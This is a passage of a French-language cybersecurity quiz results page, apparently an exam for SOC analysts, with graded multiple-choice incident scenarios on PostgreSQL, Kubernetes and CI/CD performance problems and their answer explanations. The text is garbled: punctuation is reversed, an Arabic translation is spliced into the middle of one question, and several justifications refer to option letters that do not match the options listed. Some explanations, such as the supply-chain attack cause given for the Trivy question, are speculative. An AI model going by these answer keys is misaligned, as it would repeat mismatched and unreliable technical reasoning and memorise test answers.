- **Option D est incorrecte :** Rejeter l'alerte est une grave erreur. La corrélation entre le CPU élevé, le trafic réseau vers un port connu pour le minage, et une alerte SIEM pointant vers un pool de minage constitue une preuve accablante d'une compromission réelle.

Un plan d'action expert correct serait :

1. **Confinement :** Appliquer une NetworkPolicy d'urgence, ciblée sur le pod `log-shipper` uniquement, pour bloquer tout son trafic de sortie (egress).
2. **Isolation :** Cordonner le nœud (`kubectl cordon k8s-worker-03`) pour empêcher de nouveaux déploiements dessus, mais sans le drainer pour préserver les preuves.
3. **Investigation :** Collecter les preuves volatiles (mémoire du processus, état des connexions) depuis le pod et le nœud avant toute action destructive.
4. **Éradication & Remédiation :** Supprimer le pod, puis modifier la configuration du déploiement pour utiliser un digest d'image immuable (`@sha256:...`) au lieu de la balise `:latest`.

La réponse correcte est : Aucune des réponses proposées.

Noté sur 1,00 **Non répondue** **Question 9**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une alerte de dégradation de performance sur un serveur PostgreSQL critique (Ubuntu). L'équipe applicative signale des lenteurs importantes. Vous rassemblez les indicateurs suivants sur une période de 15 minutes :

1. **Monitoring Hôte (Wazuh/Sysmon) :** Une augmentation anormale du nombre d'appels système `fork()` provenant du processus parent `postgres` est observée.
2. **Logs Réseau (FortiGate) :** Aucun trafic sortant suspect n'est détecté. Toutes les communications sont conformes aux politiques de sécurité

.établies (vers les serveurs applicatifs et de sauvegarde autorisés)

3. **Monitoring Base de Données (`pg_stat_activity`) :** De nombreuses connexions provenant d'un serveur applicatif légitime (srv-app-01) sont visibles dans l'état `idle in transaction` depuis plusieurs minutes.
4. **Performance Système (`top`) :** Le processus `postgres` et ses enfants consomment une part importante du CPU, avec un pourcentage de temps "système" (`sy`) anormalement élevé.

En vous basant sur une analyse rigoureuse et la corrélation de ces quatre indicateurs, quelle est l'explication la plus probable de la cause racine de cet incident ?

a. Un rootkit au niveau du noyau (kernel-level) intercepte l'appel système `fork()` pour créer des processus malveillants cachés. La procédure correcte est d'isoler le serveur et de lancer une analyse avec `chkrootkit` et `rkhunter`.

b. Aucune des réponses proposées.

c. Une fonction utilisateur malveillante (UDF) est exécutée de manière répétée, provoquant des forks de processus pour exécuter des commandes système. Il faut immédiatement interroger la vue `pg_proc` pour identifier et supprimer la fonction.

d. Un malware "fileless" s'est injecté dans le processus `postgres` et utilise ses ressources pour du cryptomining, expliquant le temps CPU système élevé. La priorité est de réaliser un dump mémoire du processus pour une analyse forensique.

e. Le serveur est la cible d'une attaque par force brute lente depuis le serveur applicatif. Chaque tentative de connexion forke un nouveau processus. La réponse immédiate est de bloquer l'IP du serveur applicatif au niveau du pare-feu.

.Votre réponse est incorrecte

Analyse technique : Le scénario présente des symptômes qui peuvent à première vue évoquer une compromission (haute charge CPU, forks excessifs). Cependant, l'indicateur clé est la présence de nombreuses connexions en état `idle in transaction`. Cet état signifie que le client (l'application) a initié une transaction mais ne l'a ni validée (COMMIT) ni annulée (ROLLBACK), tout en gardant la connexion ouverte. Chaque connexion PostgreSQL active, même inactive, consomme des ressources (mémoire et un processus backend dédié, créé via `fork()`). L'accumulation de ces connexions inactives conduit à l'épuisement des ressources du serveur (CPU, mémoire, limite de processus), ce qui explique tous les symptômes observés, y compris la dégradation des performances et le temps CPU système élevé dû à la gestion de nombreux processus par le noyau. L'absence de trafic réseau suspect ou de logs d'authentification échoués rend les hypothèses d'attaque (rootkit, UDF malveillante, brute-force, malware) beaucoup moins probables.

Justification : La cause la plus probable est un problème de mauvaise configuration ou de bug applicatif, typiquement un "connection pool" mal géré côté client, qui ne ferme pas correctement les transactions. Aucune des options proposées, toutes centrées sur une attaque de sécurité, n'explique de manière cohérente l'ensemble des faits. Un expert doit être capable de distinguer un incident de performance d'origine opérationnelle d'une véritable cyberattaque pour éviter une réponse inappropriée. La bonne démarche serait de contacter l'équipe de développement pour investiguer la gestion des connexions de l'application.

.La réponse correcte est : Aucune des réponses proposées

Question 10 **Non répondue** Noté sur 1,00

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une alerte de dégradation de performance sur un serveur PostgreSQL critique (Ubuntu). L'équipe applicative signale des lenteurs importantes. Vous rassemblez les indicateurs suivants sur une période de 15 minutes :

1. **Alerte SIEM (ELK) :** Une valeur "I/O wait" anormalement élevée et persistante est détectée sur le serveur, spécifiquement liée au processus postgres.
2. **Logs PostgreSQL :** Les journaux de la base de données sont inondés de messages `FATAL: remaining connection slots are reserved for non-replication superuser connections`, indiquant que la limite de connexions a été atteinte.
3. **Monitoring Base de Données (via `pg_stat_activity`) :** De nombreuses connexions provenant d'un serveur applicatif légitime (srv-app-01) sont visibles dans l'état `idle in transaction` depuis plusieurs minutes.
4. **Logs Réseau (FortiGate) :** Un volume élevé de paquets TCP-RST (Reset) est observé, envoyés par le serveur PostgreSQL en réponse aux tentatives de connexion du serveur applicatif srv-app-01 sur le port 5432.

En vous basant sur une analyse rigoureuse et la corrélation de ces quatre indicateurs, quelle est l'explication la plus probable de la cause racine de cet incident et le plan d'action immédiat le plus efficace ?

a. Aucune des réponses proposées.

b. **Analyse :** Un malware de type "fork bomb" a été déclenché sur le serveur de base de données, masqué sous le processus postgres, provoquant une consommation excessive de ressources et des refus de connexion. **Plan d'action :** Isoler le serveur du réseau via le FortiGate et procéder à une acquisition de la mémoire vive (RAM dump) pour une analyse forensique.

c. **Analyse :** Un problème de connectivité réseau entre l'application et la base de données provoque des déconnexions intempestives et des tentatives de reconnexion massives. **Plan d'action :** Lancer une capture de paquets (tshark/Wireshark) simultanément sur les deux serveurs pour analyser les paquets TCP-RST et diagnostiquer la cause de l'instabilité réseau.

d. **Analyse :** L'application ne ferme pas correctement ses connexions, ce qui sature la base de données. **Plan d'action :** Redémarrer immédiatement le service PostgreSQL pour libérer toutes les connexions bloquées et restaurer le service, puis demander à l'équipe de développement d'enquêter sur leur code.

e. **Analyse :** Une attaque par brute-force de mot de passe est en cours depuis le serveur applicatif, ce qui épuise les ressources de la base de données. **Plan d'action :** Bloquer immédiatement l'adresse IP du serveur applicatif (srv-app-01) sur le FortiGate pour stopper l'attaque, puis lancer une investigation sur le serveur applicatif pour identifier le processus malveillant.

Analyse technique :

Ce scénario est un cas classique de problème de performance applicative qui imite les symptômes d'une attaque par déni de service (DoS) ou d'une tentative de brute-force, ce qui en fait une question hautement discriminante. Un expert doit être capable de différencier une attaque d'une mauvaise configuration ayant des effets de bord similaires.

Justification :

La combinaison des indicateurs pointe vers une seule cause racine : l'épuisement du pool de connexions de la base de données (`max_connections`) dû à une mauvaise gestion des transactions par l'application.

- L'indicateur 3 (`idle in transaction`) est la clé. Il signifie que l'application a ouvert une transaction mais ne l'a ni validée (COMMIT) ni annulée (ROLLBACK), laissant la connexion ouverte et inactive, mais consommant un slot de connexion.
- L'indicateur 2 (`remaining connection slots are reserved...`) est la conséquence directe. Une fois que toutes les connexions disponibles sont bloquées en état "idle in transaction", PostgreSQL refuse toute nouvelle connexion, générant cette erreur fatale.
- L'indicateur 4 (TCP-RST) est la manifestation au niveau réseau de ce refus. Le serveur de base de données réinitialise (RST) les paquets SYN des nouvelles tentatives de connexion car il ne peut pas les accepter.
- L'indicateur 1 (I/O wait) est un symptôme de la surcharge du système qui tente de gérer un grand nombre de processus postgres inactifs et de refuser constamment de nouvelles connexions.

Aucune des options A, B, C ou D ne propose une analyse complète ET un plan de remédiation durable. L'option A est une mauvaise interprétation (pas une attaque). L'option B ignore les logs PostgreSQL. L'option C est une hypothèse sans preuve. L'option D propose une solution temporaire (redémarrage) sans s'attaquer à la cause racine (le code de l'application). La seule réponse correcte est donc de reconnaître qu'aucune des solutions proposées n'est adéquate. La solution experte consisterait à collaborer avec les développeurs pour corriger la gestion des connexions et, en parallèle, configurer un timeout côté serveur (`idle_in_transaction_session_timeout`) comme mesure palliative.

La réponse correcte est : Aucune des réponses proposées.

Question 11 **Non répondue** Noté sur 1,00

En tant qu'analyste au SOC de la Police Nationale, vous investiguez des lenteurs intermittentes sur l'application critique "e-Dossiers", hébergée sur un cluster Kubernetes. Vous corrélez les quatre indicateurs suivants :

1. **Monitoring (Prometheus) :** Des pics de consommation CPU élevés et constants sont observés sur les pods CoreDNS (namespace `kube-system`) durant les périodes de ralentissement de l'application.
2. **Logs Applicatifs :** Les logs du pod "e-Dossiers" montrent de nombreuses erreurs "Connection timed out" lors des tentatives de connexion au service de base de données `postgres-svc.db-namespace.svc.cluster.local`.
3. **Analyse Réseau (tshark sur le nœud) :** Une capture de trafic du pod "e-Dossiers" révèle un volume très élevé de requêtes DNS pour des adresses en `in-addr.arpa` (recherche inversée) correspondant à des IPs internes du cluster. Ces requêtes restent sans réponse.
4. **Logs Pare-feu (FortiGate) :** Le pare-feu bloque un grand volume de requêtes DNS (UDP/53) provenant des adresses IP des nœuds Kubernetes vers des serveurs DNS publics (ex: 8.8.8.8), conformément à la politique de sécurité interdisant les requêtes DNS externes directes depuis les serveurs.

Parmi les options suivantes, quelle est l'analyse la plus précise de la cause racine de cet incident de performance ?

a. Le service CoreDNS est mal configuré et ne parvient pas à résoudre les noms de services internes, forçant les pods à tenter des requêtes externes qui sont ensuite bloquées.

b. Le serveur de base de données PostgreSQL est surchargé et ne peut plus accepter de nouvelles connexions, ce qui cause les timeouts applicatifs. Les alertes DNS sont un symptôme secondaire.

c. Aucune des réponses proposées.

d. Une attaque par tunnel DNS est en cours. L'attaquant utilise les requêtes DNS pour exfiltrer des données, ce qui sature le service CoreDNS.

e. Une NetworkPolicy Egress est mal configurée dans le namespace de l'application, bloquant les requêtes DNS légitimes du pod vers CoreDNS, ce qui provoque des timeouts.

Analyse technique : La cause racine est une interaction complexe. La bibliothèque cliente PostgreSQL utilisée par l'application "e-Dossiers" tente d'effectuer une recherche DNS inversée (lookup PTR) sur l'adresse IP du service de la base de données à chaque nouvelle connexion. CoreDNS, ne trouvant pas de réponse locale pour ces adresses IP internes, transmet la requête à ses résolveurs amont (les serveurs DNS du nœud). Ces derniers tentent alors de contacter des serveurs DNS publics, une action qui est bloquée par le pare-feu FortiGate. L'accumulation de ces requêtes en attente de timeout sature CoreDNS et provoque les délais de connexion dans l'application.

Justification :

- A est incorrect. Les requêtes sont pour des adresses `in-addr.arpa` et sont bloquées, ce qui n'est pas cohérent avec une exfiltration réussie.
- B est incorrect. Le problème n'est pas la communication pod -> CoreDNS, mais la communication CoreDNS -> Externe, qui est bloquée par le FortiGate, pas par une NetworkPolicy.
- C est incorrect. La surcharge de CoreDNS est le symptôme principal, pas celle de la base de données. La base de données est une victime des timeouts de connexion.
- D est incorrect. CoreDNS résout correctement les services internes. Le problème vient de sa gestion des recherches inversées pour des IPs internes, déclenchée par le comportement de la bibliothèque cliente.

La seule conclusion correcte est qu'aucune des options proposées ne décrit précisément cette chaîne d'événements.

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 **Incorrect** **Question 12**

En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous investiguez une dégradation de performance critique sur l'application "e-Dossiers" hébergée sur un cluster Kubernetes. Vous corrélez les observations suivantes :

1. **Les pods de l'application redémarrent fréquemment avec le statut `OOMKilled` (Out of Memory).**
2. **Les métriques de Prometheus indiquent une latence réseau élevée et des retransmissions TCP entre les pods applicatifs et le pod de la base de données PostgreSQL.**
3. **Une capture de paquets (`tshark`) sur un nœud de travail révèle que les paquets quittant l'interface virtuelle du pod (`veth`) ont un MTU de 1500, mais l'interface physique du nœud (`eth0`) est configurée pour les Jumbo Frames avec un MTU de 9000.**
4. **Les logs du pare-feu FortiGate montrent un grand nombre de paquets TCP-RST et de sessions expirées entre les pods concernés, mais aucun trafic malveillant ou non autorisé n'est détecté.**

Quelle est la cause racine la plus probable de cet incident ?

a. Les `livenessProbes` des pods applicatifs sont configurées avec un `timeoutSeconds` trop agressif. La latence réseau due aux retransmissions TCP fait échouer les sondes, amenant Kubernetes à redémarrer les pods inutilement, ce qui est interprété à tort comme des crashs `OOMKilled`.

b. Aucune des réponses proposées.

c. Une attaque par déni de service (DoS) de bas volume cible les connexions entre l'application et la base de données, provoquant une saturation des sessions et des retransmissions TCP, ce qui mène à l'épuisement de la mémoire des pods.

d. Le pod de la base de données PostgreSQL est surchargé ou mal configuré, ce qui le pousse à rejeter des connexions. Cela force les pods applicatifs à attendre et à mettre en file d'attente des requêtes, consommant toute leur mémoire.

e. L'application "e-Dossiers" contient une fuite de mémoire qui est exacerbée par la latence réseau, provoquant une accumulation d'objets non libérés jusqu'à ce que le pod soit terminé par le mécanisme OOMKiller de Kubernetes.

Incorrect. Bien que le résultat final soit un `OOMKilled`, la cause première est la latence réseau extrême due au problème de MTU. La fuite de mémoire serait un symptôme secondaire ou une mauvaise interprétation ; le problème principal est d'origine réseau.

Analyse technique : Le scénario décrit un problème classique et complexe de discordance de MTU dans un environnement conteneurisé. Les paquets de plus de 1500 octets, générés par l'application ou la base de données, sont créés dans le pod (MTU 1500) mais doivent traverser une infrastructure physique avec un MTU de 9000. Si un équipement sur le chemin (switch, routeur, pare-feu) ne gère pas correctement la fragmentation des paquets ou si le "Path MTU Discovery" échoue, les paquets surdimensionnés sont simplement abandonnés ("black-holed"). Cela force la couche TCP à attendre un acquittement qui n'arrive jamais, puis à retransmettre, créant une latence massive et des resets de connexion. L'application, en attente de réponses, peut accumuler des états ou des données en mémoire, menant à un `OOMKilled`.

Justification : Les options proposées sont des distracteurs plausibles car elles décrivent des causes communes de problèmes similaires (DoS, fuite de mémoire, surcharge DB, sondes K8s). Cependant, un expert doit identifier l'indice crucial : la différence explicite de MTU entre le `veth` du pod et l'`eth0` du nœud. La bonne solution, non listée, serait de configurer le plugin CNI (ex: Calico, Flannel) pour qu'il utilise un MTU compatible avec le réseau physique ou pour activer le "MSS clamping" sur les interfaces réseau pour forcer les paquets à une taille appropriée.

La réponse correcte est : Aucune des réponses proposées.

Question 13 **Non répondue** Noté sur 1,00

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une sévère dégradation de performance sur un serveur de base de données PostgreSQL critique (Ubuntu, IP: 10.20.30.5). Vous corrélez les indicateurs suivants :

1. **Alerte SIEM (ELK) :** Une valeur "I/O wait" anormalement élevée et persistante est détectée sur le serveur, spécifiquement liée au processus postgres.
2. **Logs PostgreSQL :** Les journaux de la base de données sont inondés de messages `checkpoint starting: time` et `checkpoint complete`, indiquant une fréquence de checkpoints beaucoup plus élevée que la normale.
3. **Logs FortiGate :** Un volume de trafic TCP constant et élevé est observé depuis le serveur PostgreSQL (10.20.30.5) vers un serveur de sauvegarde (10.20.40.10) sur le port 9000. Ce flux est autorisé par une règle de pare-feu existante.
4. **Analyse de l'Hôte :** La commande `df -h` sur le serveur PostgreSQL montre que la partition contenant le répertoire `pg_wal` est remplie à 95%.

En vous basant sur une analyse technique rigoureuse de ces quatre indicateurs, quelle est la cause racine la plus probable de cet incident بصفتك?

محللاً في مركز العمليات الأمنية (SOC) للشرطة الوطنية، تحقق في تدهور حاد في أداء خادم قاعدة بيانات PostgreSQL حرج (يعمل بنظام Ubuntu، وعنوان IP الخاص به: 10.20.30.5). لقد قمت بربط المؤشرات التالية:

1. **تنبيه من نظام SIEM (ELK):** تم الكشف عن قيمة "I/O wait" (انتظار الإدخال/الإخراج) مرتفعة بشكل غير طبيعي ومستمر على الخادم، مرتبطة تحديدًا بعملية postgres.
2. **سجلات PostgreSQL:** سجلات قاعدة البيانات مليئة برسائل `checkpoint starting: time` و `checkpoint complete`، مما يشير إلى تردد نقاط التفتيش (checkpoints) أعلى بكثير من المعتاد.
3. **سجلات FortiGate:** لوحظ حجم حركة مرور TCP ثابت ومرتفع من خادم PostgreSQL (10.20.30.5) إلى خادم نسخ احتياطي (10.20.40.10) على المنفذ 9000. هذا التدفق مسموح به بموجب قاعدة جدار حماية موجودة.
4. **تحليل على المضيف:** الأمر `df -h` على خادم PostgreSQL يظهر أن القسم الذي يحتوي على دليل `pg_wal` ممتلئ بنسبة 95%.

بناءً على تحليل فني دقيق لهذه المؤشرات الأربعة، ما هو السبب الجذري الأكثر احتمالاً لهذه الحادثة؟

a. Un attaquant a compromis le serveur de sauvegarde et utilise un slot de réplication logique pour exfiltrer les données en temps réel. La rétention des fichiers WAL pour la réplication sature le disque. قام مهاجم باختراق خادم النسخ الاحتياطي ويستخدم فتحة نسخ منطقية (logical replication slot) لتسريب البيانات في الوقت الفعلي. الاحتفاظ بملفات WAL من أجل النسخ يملأ القرص.

b. Aucune des réponses proposées. لا شيء من الإجابات المقترحة.

c. Le serveur de sauvegarde (10.20.40.10) est en panne ou injoignable. Le serveur principal ne peut pas archiver ses fichiers WAL, qui s'accumulent et remplissent le disque. خادم النسخ الاحتياطي (10.20.40.10) معطل أو لا يمكن الوصول إليه. لا يستطيع الخادم الرئيسي أرشفة ملفات WAL الخاصة به، والتي تتراكم وتملأ القرص.

d. Le paramètre `max_wal_size` dans la configuration de PostgreSQL est trop bas, ce qui force des checkpoints trop fréquents et génère une charge I/O excessive.قيمة المعلمة `max_wal_size` في إعدادات PostgreSQL منخفضة جدًا، مما يفرض نقاط تفتيش متكررة جدًا ويولد حملاً مفرطًا على عمليات الإدخال/الإخراج.

e. Une attaque par rançongiciel est en cours. Le chiffrement des fichiers de la base de données provoque une activité I/O massive, saturant le disque et forçant des checkpoints continus.هجوم ببرنامج فدية قيد التنفيذ. تشفير ملفات قاعدة البيانات يسبب نشاطًا هائلاً في عمليات الإدخال/الإخراج، مما يملأ القرص ويفرض نقاط تفتيش مستمرة.

Analyse technique : La corrélation des indicateurs pointe vers une défaillance du processus d'archivage des journaux de transactions (WAL).

1. Le trafic constant vers le serveur de sauvegarde (indicateur 3) montre que le serveur principal tente d'envoyer les fichiers WAL, mais le fait que le répertoire `pg_wal` soit plein (indicateur 4) prouve que ces fichiers ne sont pas supprimés après envoi. Cela signifie que le processus d'archivage (`archive_command`) sur le serveur de sauvegarde échoue ou ne renvoie pas de statut de succès.
2. Lorsque le répertoire `pg_wal` atteint sa capacité maximale, PostgreSQL est forcé de déclencher des checkpoints très fréquents (indicateur 2) pour tenter de forcer l'écriture des données des WAL vers les fichiers de données et ainsi pouvoir recycler les segments WAL.
3. Cette activité de checkpoint intensive génère une charge d'écriture disque massive, ce qui explique l'I/O wait élevé (indicateur 1) et la dégradation des performances.

Justification : Aucune des autres options n'est entièrement correcte. L'option A est incorrecte car le symptôme principal est la fréquence des checkpoints, pas seulement la rétention des WAL. L'option B est incomplète car elle n'explique pas pourquoi le disque est plein. L'option C est improbable en l'absence d'autres indicateurs de compromission. L'option D est directement contredite par les logs du FortiGate qui montrent un trafic élevé et constant, et non des échecs de connexion. La seule conclusion rigoureuse est qu'aucun des scénarios proposés ne correspond précisément à l'ensemble des faits.**تحليل فني:** يشير ربط المؤشرات إلى فشل في عملية أرشفة سجلات المعاملات (WAL).

1. حركة المرور المستمرة إلى خادم النسخ الاحتياطي (المؤشر 3) تظهر أن الخادم الرئيسي يحاول إرسال ملفات WAL، لكن حقيقة أن دليل `pg_wal` ممتلئ (المؤشر 4) تثبت أن هذه الملفات لا يتم حذفها بعد الإرسال. هذا يعني أن عملية الأرشفة (`archive_command`) على خادم النسخ الاحتياطي تفشل أو لا تعيد حالة نجاح.
2. عندما يصل دليل `pg_wal` إلى سعته القصوى، يُجبر PostgreSQL على تشغيل نقاط تفتيش متكررة جدًا (المؤشر 2) لمحاولة فرض كتابة البيانات من WAL إلى ملفات البيانات وبالتالي التمكن من إعادة تدوير مقاطع WAL.
3. يؤدي نشاط نقاط التفتيش المكثف هذا إلى حمل كتابة هائل على القرص، مما يفسر ارتفاع قيمة "I/O wait" (المؤشر 1) وتدهور الأداء.

التبرير: لا يوجد أي من الخيارات الأخرى صحيح تمامًا. الخيار (أ) غير صحيح لأن الغرَض الرئيسي هو تواتر نقاط التفتيش، وليس مجرد الاحتفاظ بملفات WAL. الخيار (ب) غير مكتمل لأنه لا يفسر سبب امتلاء القرص. الخيار (ج) غير محتمل في غياب مؤشرات اختراق أخرى. الخيار (د) يتعارض مباشرة مع سجلات FortiGate التي تظهر حركة مرور عالية ومستمرة، وليس فشل في الاتصال. الاستنتاج الدقيق الوحيد هو أن أياً من السيناريوهات المقترحة لا يتطابق تمامًا مع جميع الحقائق.

La réponse correcte est : Aucune des réponses proposées.لا شيء من الإجابات المقترحة.

Note de -0,25 sur 1,00 **Incorrect** **Question 14**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une sévère dégradation de performance sur un serveur de base de données PostgreSQL critique (Ubuntu, IP: 10.20.30.5). Vous corrélez les indicateurs suivants :

1. **Alerte SIEM (ELK) : Une valeur "I/O wait" anormalement élevée et persistante est détectée sur le serveur, spécifiquement liée au processus `postgres`.**
2. **Logs PostgreSQL : Les journaux de la base de données sont inondés de messages `checkpoint starting: time` et `checkpoint complete`, indiquant une fréquence de checkpoints beaucoup plus élevée que la normale.**
3. **Logs FortiGate : Un volume de trafic TCP constant et élevé est observé depuis le serveur PostgreSQL (10.20.30.5) vers un serveur de sauvegarde (10.20.40.10) sur le port 9000. Ce flux est autorisé par une règle de pare-feu existante.**
4. **Analyse de l'Hôte : La commande `df -h` sur le serveur PostgreSQL montre que la partition contenant le répertoire `pg_wal` est remplie à 95%.**

En vous basant sur une analyse technique rigoureuse de ces quatre indicateurs, quelle est la cause racine la plus probable de cet incident ?

a. Aucune des réponses proposées.

b. Un rançongiciel est en cours d'exécution, lisant intensivement les fichiers de la base de données pour les chiffrer. Cette activité provoque une saturation des I/O et force PostgreSQL à effectuer des checkpoints de manière erratique.

c. La configuration de PostgreSQL est incorrecte, avec un paramètre `max_wal_size` défini à une valeur trop faible. Cela force la base de données à effectuer des checkpoints très fréquents pour recycler les fichiers WAL, ce qui sature les disques.

Incorrect. C'est un distracteur plausible, mais un `max_wal_size` bas ne provoque pas le remplissage de la partition au-delà de cette limite. Le problème est que les fichiers WAL ne sont pas du tout recyclés, ce que cette option n'explique pas.

.d Une attaque par déni de service (DoS) applicatif est en cours. Un grand nombre de requêtes complexes force des lectures disque massives, ce qui entraîne une augmentation de l'I/O wait et des checkpoints fréquents pour écrire les "dirty pages".

.e Un attaquant a configuré un slot de réplication logique malveillant pour exfiltrer les données en temps réel vers le serveur de sauvegarde. Cette activité de lecture continue des journaux de transactions (WAL) sature le sous-système disque.

Analyse technique : Ce scénario est un cas classique de défaillance en cascade initiée par un problème de configuration de la sauvegarde, qui mime les symptômes d'une attaque. Le symptôme clé est le remplissage du répertoire `pg_wal`. Dans PostgreSQL, les fichiers WAL ne peuvent être supprimés (ou recyclés) qu'après avoir été archivés avec succès (si l'archivage est activé). L'accumulation de ces fichiers indique que le processus d'archivage (`archive_command`) échoue de manière répétée. Pour se protéger contre un remplissage complet du disque qui entraînerait un arrêt brutal, PostgreSQL déclenche des checkpoints de plus en plus fréquents pour tenter de forcer l'avancement du WAL, ce qui cause l'I/O wait massif. Le trafic réseau observé est simplement le script `archive_command` (par ex. `scp` ou `rsync`) qui tente sans cesse de se connecter au serveur de sauvegarde et échoue.

Justification :

- La réponse A est incorrecte. Un slot de réplication (logique ou physique) consomme les WALs. Il empêcherait leur suppression s'il n'est pas acquitté, mais le symptôme principal serait une divergence de réplication, pas nécessairement des checkpoints frénétiques.
- La réponse B est incorrecte. Un rançongiciel ne ciblerait pas spécifiquement le mécanisme de checkpoint de PostgreSQL et un processus malveillant distinct serait probablement visible.
- La réponse C est un distracteur très plausible. Un `max_wal_size` trop faible cause bien des checkpoints fréquents, mais il n'explique pas pourquoi le répertoire `pg_wal` se remplit au-delà de cette limite. Le système est conçu pour gérer et recycler les WALs dans cette limite. Le remplissage à 95% d'une partition entière indique que le recyclage est bloqué.
- La réponse D est incorrecte. Une charge applicative élevée augmenterait l'I/O, mais ne bloquerait pas le recyclage des fichiers WAL, qui est le problème fondamental ici.
- Par conséquent, la cause racine est très probablement un `archive_command` défaillant, une option qui n'est pas proposée.

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 **Incorrect** **Question 15**

En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous investiguez une sévère dégradation de performance sur un serveur GitLab Runner (Ubuntu, IP: 10.100.5.10), qui provoque l'échec intermittent des pipelines CI/CD. Vous corréléz les indicateurs suivants :

1. **Alerte Wazuh :** Des alertes de haute utilisation CPU pointent vers un processus `trivy` s'exécutant à l'intérieur d'un conteneur Docker temporaire, créé pour une tâche de scan SAST.
2. **Logs FortiGate :** Durant l'exécution de la tâche, un volume élevé de trafic DNS et HTTPS est observé depuis l'IP du Runner (10.100.5.10) vers des domaines de registres de conteneurs publics (`ghcr.io`, `registry-1.docker.io`). Ce trafic est autorisé par les politiques en place.
3. **Log de la tâche CI/CD :** La tâche exécute la commande `trivy fs --security-checks vuln,secret /src`. Elle s'exécute pendant une durée anormalement longue avant d'être interrompue par un timeout.
4. **Configuration de l'Hôte :** L'analyse du fichier de configuration du GitLab Runner (`/etc/gitlab-runner/config.toml`) révèle la présence de la ligne `network_mode = "host"` dans la section `[runners.docker]`.

Quelle est l'analyse la plus probable de la cause racine de cet incident de performance ?

.a Aucune des réponses proposées.

.b Une mauvaise configuration du cache du GitLab Runner force Trivy à télécharger l'intégralité de sa base de données de vulnérabilités à chaque exécution. La haute utilisation du CPU et du réseau est le résultat direct du téléchargement et du traitement de plusieurs gigaoctets de données à chaque fois.

Incorrect. Bien qu'un problème de cache puisse causer une augmentation de la charge, il est peu probable qu'il conduise à une utilisation CPU à 100% et à un timeout systématique du job. Les symptômes sont trop extrêmes pour une simple absence de cache et suggèrent un problème plus grave, comme une boucle de traitement ou une allocation mémoire incontrôlée.

.c La configuration `network_mode = "host"` permet au processus Trivy de contourner l'isolation réseau du conteneur. Cela crée un conflit avec les pilotes réseau de l'hôte, provoquant une boucle de traitement au niveau du noyau qui se manifeste par une utilisation CPU à 100%.

d. Un attaquant a compromis l'image Docker de base utilisée par le job pour y inclure un cryptomineur. La haute utilisation du CPU est l'activité de minage, et le trafic réseau est la communication avec le pool de minage, masquée pour ressembler à du trafic vers des registres légitimes.

e. Le scan Trivy est légitime, mais il est ralenti par le système de prévention d'intrusions (IPS) du FortiGate, qui interprète à tort les téléchargements de la base de données de vulnérabilités comme une activité malveillante. La haute utilisation du CPU est due aux retransmissions TCP constantes et aux tentatives répétées du processus.

Votre réponse est incorrecte.

Analyse technique :
Ce scénario est conçu pour tester la capacité à différencier les symptômes, les vulnérabilités contributives et la cause racine réelle dans un environnement complexe. Les options proposées sont toutes des problèmes plausibles mais incorrects dans ce contexte précis.

La cause racine la plus probable est une attaque par épuisement de ressources (Resource Exhaustion Attack) ciblant l'outil de scan lui-même. Un attaquant, ayant compromis le code source en amont, a introduit un fichier malveillant (par exemple, un "zip bomb", un document XML avec une attaque "billion laughs", ou un fichier de dépendances malformé) dans le répertoire `/src`. Lorsque `trivy` tente d'analyser ce fichier, il déclenche une vulnérabilité ou une boucle infinie dans le parseur de Trivy, provoquant une consommation CPU de 100% et le blocage du processus. Le trafic réseau vers les registres est une activité normale de Trivy qui télécharge les bases de données de vulnérabilités, agissant ici comme un "bruit de fond" qui peut égarer l'analyste.

Justification des options incorrectes :

- **A (Cryptominer) :** Bien que plausible, le processus identifié est `trivy`, un outil légitime, et le trafic réseau est dirigé vers des domaines de registres connus, pas des pools de minage.
- **B (network_mode="host") :** C'est une vulnérabilité de sécurité critique car elle supprime l'isolation réseau du conteneur, mais elle n'est pas la cause directe de la surconsommation CPU. Elle n'entraîne pas intrinsèquement de conflit réseau ou de boucle. C'est un distracteur important pour évaluer si le candidat fait la différence entre une vulnérabilité et la cause d'un incident de performance.
- **C (IPS Throttling) :** Si l'IPS bloquait le trafic, les logs du FortiGate montreraient des actions "deny" ou "block" avec une signature IPS, ce qui n'est pas le cas ici. Le trafic est explicitement autorisé.
- **D (Cache Misconfiguration) :** Un problème de cache provoquerait une charge élevée, mais généralement pas une utilisation CPU à 100% au point de faire planter le job par timeout. Ce symptôme extrême pointe vers une boucle de traitement ou une allocation mémoire explosive, typique d'une attaque par épuisement de ressources.

Par conséquent, aucune des options ne décrit correctement l'attaque la plus probable : une exploitation du scanner SAST via un fichier malveillant dans le code source analysé.

La réponse correcte est : Aucune des réponses proposées.

Note de -0,33 sur 1,00 Incorrect **Question 16**

Scénario :

En tant qu'Ingénieur Cybersécurité au SOC de la Police Nationale, vous êtes alerté par un développeur qui signale une impossibilité de déployer une nouvelle version de l'application critique "e-Signalement" sur un cluster Kubernetes. Le message d'erreur renvoyé par l'API Kubernetes est : `admission webhook 'secure-pods.police.mr' denied the request: Pods with 'latest' tag are not allowed`. Le développeur soutient fermement utiliser un tag de version spécifique (`v1.2.1`), et non `latest`.

Vous corréléz rapidement les événements suivants survenus quasi simultanément :

1. **Log du pare-feu FortiGate :** `action=deny srcip=10.40.1.20 (k8s-node-01) dstip=185.X.X.X dstport=80 service=HTTP ...` (L'IP source est celle du nœud Kubernetes hébergeant le pod du webhook d'admission).
2. **Alerte Wazuh (sur le nœud k8s-node-01) :** `Process /usr/local/bin/webhook-server initiated outbound connection to 185.X.X.X`.
3. **(Configuration du Webhook (résultat de `kubectl get validatingwebhookconfiguration secure-pods-webhook -o yaml`) :** La configuration montre une `failurePolicy: Ignore` et que le webhook redirige les requêtes de validation vers un service nommé `secure-pods-svc` dans le namespace `security-tools`.
4. **(Log du Pod Webhook (résultat de `kubectl logs -n security-tools secure-pods-pod-xyz`) :** `ERROR: Failed to fetch remote policy from http://185.X.X.X/policy.json. Falling back to local policy. Local policy check failed for image 'e-signalement:v1.2.1'`.

Question :

? En vous basant sur ces preuves, quelle est l'analyse la plus précise de la cause racine et le plan de réponse immédiat le plus efficace

